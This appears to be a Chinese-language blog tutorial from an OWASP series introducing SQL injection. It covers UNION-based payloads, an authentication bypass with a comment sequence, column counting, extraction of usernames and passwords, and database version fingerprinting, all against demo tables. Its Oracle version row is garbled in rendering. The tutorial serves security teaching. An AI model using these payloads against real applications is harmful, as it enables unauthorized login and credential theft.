OWASP 系列之注入漏洞(上)
摘要
上一期我们介绍了 OWASP 最重要的两个版本把注入漏洞排到了榜一,可见此漏洞的常见与严重程度。接下来我们就详细的介绍下注入漏洞
SQL injection
SQL 注入介绍
对于已经懂点数据库相关开发知识的朋友,在第一次接触 SQl 注入漏洞的时候可能会非常好奇,是怎么样的语法就让攻击者注入获取了数据库的数据呢?
我们来看一下简单的注入的例子
# 假设我们后端有数据库 xiaomi
mysql root@localhost:xiaomi> show databases;
+--------------------+
| Database |
+--------------------+
| information_schema |
| test |
| xiaomi |
| zblog_demo |
+--------------------+
17 rows in set
Time: 0.004s
mysql root@localhost:xiaomi>
# 数据库 xiaomi 有如下表
mysql root@localhost:xiaomi> show tables;
+------------------+
| Tables_in_xiaomi |
+------------------+
| dept |
| emp |
| salgrade |
| user |
| x |
+------------------+
5 rows in set
Time: 0.004s
mysql root@localhost:xiaomi>
# 其中 user 表结构/数据如下
mysql root@localhost:xiaomi> desc user;
+---------+----------+------+-----+---------+----------------+
| Field | Type | Null | Key | Default | Extra |
+---------+----------+------+-----+---------+----------------+
| id | int(11) | NO | PRI | <null> | auto_increment |
| name | char(10) | NO | | <null> | |
| address | char(50) | NO | | <null> | |
+---------+----------+------+-----+---------+----------------+
3 rows in set
Time: 0.008s
mysql root@localhost:xiaomi> select * from user;
+----+----------+---------------+
| id | name | address |
+----+----------+---------------+
| 1 | lihua | guangdong |
| 2 | wang | xian |
| 3 | lisi | henan |
| 4 | fu | beijin |
| 5 | xiaoming | henan |
| 6 | lishi | shanghaiditie |
+----+----------+---------------+
6 rows in set
Time: 0.003s
mysql root@localhost:xiaomi>
假设前端通过一个 URL 来请求后端服务,查询用户
https://example.com/user.php?name=xiaoming&address=henan
参数 name 的内容会传递到后端代码并进行 sql 语法查询,如果我们后端的 sql 语句为下面这样
select * from user where name= 'xiaoming' and address ='henan'
那么,正常我们就会从数据库查到我们希望的数据
但是,一个恶意的攻击者,修改的访问后端的 URL,传递了恶意的参数如下
# 参数 name 的值修改为了 xiaoming' union select id, name, address from user --
https://example.com/user.php?name=xiaoming' union select id, name, address from user -- '&address=henan
# url 编码后的地址为
https://example.com/user.php?name=xiaoming%27%20union%20select%20id,%20name,%20address%20from%20user%20--%20%27&address=henan
那么,最终在数据库中 sql 的语法执行的语句为
select * from user where name= 'xiaoming' union select id, name, address from user -- ' and address ='henan'
我们看到,执行结果发生了我们期望之外的变化
这就是 SQL 注入,啊!多么痛的领悟
下来,我们了解下 SQL 注入的各种细节
常见 SQL 注入类型
- 查询隐藏的数据
- 影响应用程序逻辑
- UNION 攻击
- 查询数据库版本与结构
- SQL 盲注
查询隐藏的数据
这个例子,我们在上面介绍了,我们接下来看看其他的例子
影响应用程序的逻辑
# 假设后端的登录验证代码如下
select * from users where username = 'admin' and password = 'password'
# 恶意的攻击者,传递 administrator ' --
# 最终的 sql 语法会变成下面这样
select * from users where username = 'administrator ' --' and password = 'password'
一个正常的普通账户的登录语句应该是这样
SELECT * FROM users WHERE username = 'wiener' AND password = 'bluecheese'
攻击者修改后,变成这样
SELECT * FROM users WHERE username = 'administrator'--' AND password = ''
UNION 攻击
union 命令可以执行多个额外的 select 查询,如这样
这里有两个关键点
- 每个查询要回显相同数量的列(所以,要进行攻击的话要确认原始sql 语句会回显多少数据列???)
- 每个数据列类型在查询语句上要匹配(所以,要进行攻击的话,要选择合适的数据类型)
在我们的注入介绍小节中的 sql 语句
select * from user where name= 'xiaoming' union select id, name, address from user -- ' and address ='henan'
还原回原始的 sql 语句后是这样
SELECT a, b FROM table1 UNION SELECT c, d FROM table2
这里,按 union 的语法规则
- 每个查询都回显了查相同数量的数据列
- 每个数据列的类型在查询之间是匹配的
那么,问题来了。
如何确定 union 攻击,所需要的列的数量呢???
列数量确定
这里我们介绍两种方法:
- 利用 ordery by
- 利用报错 union select
先来看下,利用 ordery by 确定列数量
order by 1 --
order by 2 --
order by 3 --
这样,我们就可以确定原始的 sql 查询的表是有 3个数据列的。
再来,我们看下利用报错 union select 确定数据列数量
# 主要利用 NULL 的原因为,可以转换为每种常用的数据类型
union select null --
union select null,null--
union select null,null,null--
注意: 不是所有数据库都会做 null 转换
再来,确认列的字段类型
union select 'a', null, null, null --
union select null, 'a', null, null --
union select null, null, 'a', null --
union select null, null, null, 'a' --
跨表查询
# 利用 union
' union select username, password from users --
在单个列中查询多个值
# 在单个列中查询多个值
# 先找有几个列
# 可以通过字符串拼接的方式来利用 ||
’ union select username || '~' || password from users --,
对于不同的数据库,字符串拼接方式不同
数据库 | 字符串拼接 |
---|---|
Oracle | ‘a’ || ‘b’ |
Microsoft | ‘a’ + ‘b’ |
PostgreSQL | ‘a’ || ‘b’ |
MySQL | ‘a’ ‘b’ (中间有空格)或者使用函数 concat(‘a’, ‘b’) |
查询数据库类型和版本
数据库 | 查看版本方法 |
---|---|
Oracle | select banner from vversion<br/>selectversionfromvversion<br />select version from vversion<br/>selectversionfromvversion |
Microsoft | select @@ version |
PostgreSQL | select version() |
MySQL | select @@version |
在攻击中利用的方式为
# oracle
' union select banner, NULL from v$version--
# mysql, microsoft
' union select @@version, NULL -- #
在线实验
所有以上介绍的语句,都是为了我们收集数据库信息,为也后续根据数据库类型、结构版本来定制攻击语句,获取数据库数据。
本次 SQL 注入的部分,我们先介绍到这里,下一期我们将介绍更进一步的注入方式,欢迎大家围观。